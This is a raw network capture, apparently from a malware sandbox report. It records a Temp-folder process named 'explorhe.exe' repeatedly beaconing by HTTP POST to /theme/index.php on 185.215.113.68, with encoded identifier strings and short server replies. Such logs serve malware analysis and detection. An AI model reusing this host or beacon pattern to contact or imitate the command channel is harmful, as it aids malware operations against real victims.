Jan 18, 2024 00:37:28.356583118 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:28.599539042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.6	50462	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:28.966118097 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:29.205106974 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.6	50463	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:29.453150034 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:29.692569017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.6	50464	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:30.069199085 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:30.308518887 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.6	50465	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:30.559230089 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:30.794644117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.6	50466	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:31.172180891 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:31.410037994 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.6	50467	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:31.659600019 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:31.910970926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.6	50468	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:32.278388023 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:32.517107964 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.6	50469	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:32.766716003 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:33.003204107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.6	50470	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:33.364100933 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:33.599072933 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.6	50471	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:33.858470917 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:34.096890926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.6	50472	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:35.542104006 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:35.775568962 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.6	50473	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:36.033646107 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:36.271045923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.6	50474	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:36.609801054 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:36.839775085 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.6	50475	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:37.096895933 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:37.333969116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.6	50476	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:37.700684071 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:37.934506893 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.6	50477	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:38.192981958 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:38.437024117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.6	50478	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:38.802843094 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:39.041460991 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.6	50479	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:39.296448946 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:39.533102036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.6	50480	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:39.897947073 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:40.136966944 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.6	50481	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:40.386987925 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:40.626036882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.6	50482	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:40.998423100 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:41.599955082 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:41.834872961 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.6	50483	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:42.086779118 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:42.331787109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.6	50484	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
